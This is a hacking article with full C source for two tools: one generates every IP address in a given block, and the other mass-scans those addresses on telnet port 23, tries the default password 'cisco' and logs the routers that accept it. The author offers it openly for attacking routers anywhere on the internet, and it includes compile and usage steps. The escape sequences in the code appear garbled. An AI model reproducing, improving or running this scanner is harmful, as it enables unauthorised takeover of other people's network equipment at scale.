Mass Cisco Attacking ------------------------- This article explain you how to attack cisco router using password guessing, By default telnet password in cisco is "cisco", Using this knowledge i create cisco mass scanner to guess telnet password on any router on the net! gcc -o ipcombine ipcombine.c gcc -o mass mass.c -lpthread ./ipcombine xxx xxx ./mass ======================= ipcombine.c ======================= #include <stdio.h> /* *IP combiner code By Ph03n1X *http://kandangjamur.net || [email protected] */ int main(int argc,char *argv[]) { FILE *fp; int bloka,blokb,blokc; int x,y,z; char IP[32]; if(argc<2 || argc>4) { printf("Usage : %s <BLOK 1> <BLOK 2> <BLOK 3>/n",argv[0]); exit(0); } fp=fopen("server.txt","a"); if(fp==NULL) { printf("Cannot create file/n"); exit(0); } if(argc==2) { bloka=atoi(argv[1]); for(x=0;x<=255;x++){ for(y=0;y<=255;y++){ for(z=1;z<=254;z++){ snprintf(IP,sizeof(IP),"%d.%d.%d.%d",bloka,x,y,z); fprintf(fp,"%s/n",IP); } } } fclose(fp); } else if(argc==3){ bloka=atoi(argv[1]); blokb=atoi(argv[2]); for(y=0;y<=255;y++){ for(z=1;z<=254;z++){ snprintf(IP,sizeof(IP),"%d.%d.%d.%d",bloka,blokb,y,z); fprintf(fp,"%s/n",IP); } } fclose(fp); } else if(argc==4){ bloka=atoi(argv[1]); blokb=atoi(argv[2]); blokc=atoi(argv[3]); for(z=1;z<=254;z++){ snprintf(IP,sizeof(IP),"%d.%d.%d.%d",bloka,blokb,blokc,z); fprintf(fp,"%s/n",IP); } } } ======================== mass.c ========================= /* Mass cisco scanner code By Ph03n1X http://kandangjamur.net || [email protected] Mass Cisco scanner Compile : gcc -o mass mass.c -lpthread Usage : 1. Execute ipcombine first, ex : ./ipcombine 222 124 2. Execute mass, ex : ./mass Reference : 1. http://www.securityfocus.com/tools/817 3. http://www.phenoelit.de/dpl/dpl.html */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <time.h> #include <string.h> #include <ctype.h> #include <fcntl.h> #include <netdb.h> #include <signal.h> #include <errno.h> #include <sys/wait.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define PORT 23 #define TIMEOUT 3 #define CHILDREN 250 #define SIZE 1024 int scan_tcp(char *ip, int port); int ctimeout(int sf, struct sockaddr *alamat,socklen_t len,int tout); long hosts_scanned = 0; int main(int argc, char **argv) { int i = 0; FILE *fp; char IP[32]; int status; if((fp=fopen("server.txt","r"))==NULL) { printf("File Not Found/n"); exit(1); } while((fgets(IP,sizeof(IP),fp)) != NULL) { hosts_scanned++; i++; IP[strlen(IP) - 1] = '/0'; switch (fork()) { case 0: { scan_tcp(IP,PORT); _exit(0); break; } case -1: { printf("fork error/n"); _exit(0); break; } default: { if(i > CHILDREN - 2) { wait(&status); i--; } break; } } bzero(IP, sizeof(IP)); } printf("Hosts being scanned: %ld/n", hosts_scanned); fclose(fp); return 0; } int ctimeout(int sf, struct sockaddr *alamat,socklen_t len,int tout) { int res,slen,flags; struct timeval tv; struct sockaddr_in almt; fd_set rdf,wrf; fcntl(sf,F_SETFL,O_NONBLOCK); res = connect(sf,alamat,len); if (res>=0)return res; FD_ZERO(&rdf); FD_ZERO(&wrf); FD_SET(sf, &rdf); FD_SET(sf, &wrf); bzero(&tv, sizeof(tv)); tv.tv_sec = tout; if (select(sf + 1, &rdf, &wrf, 0, &tv) <= 0) return -1; if (FD_ISSET(sf, &wrf) || FD_ISSET(sf, &rdf)) { slen = sizeof(almt); if (getpeername(sf, (struct sockaddr*)&almt, &slen) == -1) return -1; flags = fcntl(sf, F_GETFL, NULL); fcntl(sf, F_SETFL, flags & ~O_NONBLOCK); return 0; } return -1; } scan_tcp(char *target,int port) { FILE *ff; int s,conn,len1,len2,len3; struct sockaddr_in almt_ser; struct hostent *he; char servbuf1[SIZE],servbuf2[SIZE]; char pass[12]; ff=fopen("vulnerserver.txt","a"); if(ff==NULL) { printf("File Not Found/n"); exit(1); } if((he=gethostbyname(target))==NULL) { printf("Host target tidak ditemukan/n"); exit(0); } if((s=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Cannot create socket/n"); exit(0); } bzero((char *) &almt_ser, sizeof(almt_ser)); almt_ser.sin_family = AF_INET; bcopy( (char *)he->h_addr,(char *)&almt_ser.sin_addr.s_addr,he->h_length); almt_ser.sin_port = htons(port); if((ctimeout(s,(struct sockaddr*)&almt_ser,sizeof(almt_ser),5))==-1) { printf("[ %s ] Port %d (TCP) tertutup/n",target,port); } else { printf("[ %s ] Port %d (TCP) terbuka/n",target,port); memset(servbuf1,'/0',SIZE); recv(s,servbuf1,SIZE-1,0); send(s,"cisco/r",6,0); sleep(1); memset(servbuf2,'/0',SIZE); recv(s,servbuf2,SIZE-1,0); if(strstr(servbuf2,">")) { printf("%s : Password Telnet /"cisco/"/n",target); fprintf(ff,"%s : Password Telnet /"cisco/"/n",target); fclose(ff); }else{ printf("%s : Not Vulner/n",target); fclose(ff); } } close(s); }